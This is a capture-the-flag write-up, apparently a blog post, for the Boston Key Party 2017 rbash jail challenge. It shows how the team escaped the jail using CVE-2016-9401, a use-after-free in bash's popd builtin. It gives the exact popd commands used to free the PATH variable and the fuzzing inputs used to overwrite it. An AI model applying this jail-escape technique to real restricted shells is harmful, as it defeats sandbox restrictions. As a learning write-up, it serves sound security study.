prettify code

2017年3月3日 星期五

[Write-up] Boston Key Party 2017 - pwn99 Solitary Confinement


This is a rbash jail escaped challenge.
There're are many solutions of this chal. What we used is 1-day of CVE-2016-9401.
According to the administrator, we (HITCON) are the only team solved this challenge by using this CVE :p.

I'm too lazy to introduce what this challenge doing, if you're not similar with this challenge yet, you can see this writeup with nice introduction.

Exploit Target

Final target is to execute /flag/showFlag, to do this, we want to set PATH as /flag. After that we can execute showFlag directly.


This link contains proof-of-work of this CVE.
The vulnerability exists in the build-in popd function. Just typing popd +-1 in your bash leads to crash:
(Test on ubuntu 16.04, default bash binary)
-rbash-4.3$ rbash --version
GNU bash, version 4.3.46(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
-rbash-4.3$ popd +-1
[1]    17144 segmentation fault  rbash

As the link above described, this vulnerability can cause an use-after-free bug.
Command popd +-x will call sh_xfree(*(void*)8*x)). To be more clear you can see the mirror code of bash here:
i = (direction == '+') ? directory_list_offset - which : which;
free (pushd_directory_list[i]); // will call sh_xfree(*(void*)(i*8))

Notice that there's a self-implement heap in bash, it not use the mechanism of glibc malloc/free we familiar with for memory allocation.


Exploit contains two steps:
  1. free(sh_xfree) the environment variable PATH using CVE-2016-9401.
  2. Input some commands such that the memory PATH used will be reallocated.

Step 1 - free

Thanks to +Shik Chen 's amazing code review ability, he found there's a global variable will fetch the address of PATH:
// bashline.c#command_word_completion_function
// static char* path = NULL;

1834: path = get_string_value ("PATH");

To trigger this line is easy, just typing <tab> in bash!
Now we can use the CVE to free the pointer recorded by path, i.e. the PATH environment variable.
Proof of work:

-rbash-4.3$ <tab>
-rbash-4.3$ popd +-917341
-rbash-4.3$ export
declare -rx PATH="H�+"

Gotcha! The variable has been freed! And as you can see, we can even use this to leak heap address ;).

Step2 - reallocate

This step is much more.. stupid. We didn't pay any time on studying what the memory recycling mechanism is in bash, we just fuzz some commands looks like:
export flag=/flag:/flag:/flag:/flag:/flag:/flag:/flag:
echo /flag:/flag:/flag:/flag:/flag:/flag:/flag:
hash /flag:/flag:/flag:/flag:/flag:/flag:/flag:/flag:/flag:/flag:/flag:/flag
And see if the PATH env being changed to /flag :p

Furthermore, the exploit is not easy to reproduce since the heap usage might differ if one loads different environment variables or rcfile.
During the contest, the memory usage of bash is always different between remote and our local machine, even we tried to set everything almost same. So we just fuzzed it remotely and got the flag.

Flag: BKP{vimjail_is_down,_fortunately_we_have_rbash_to_save_the_day}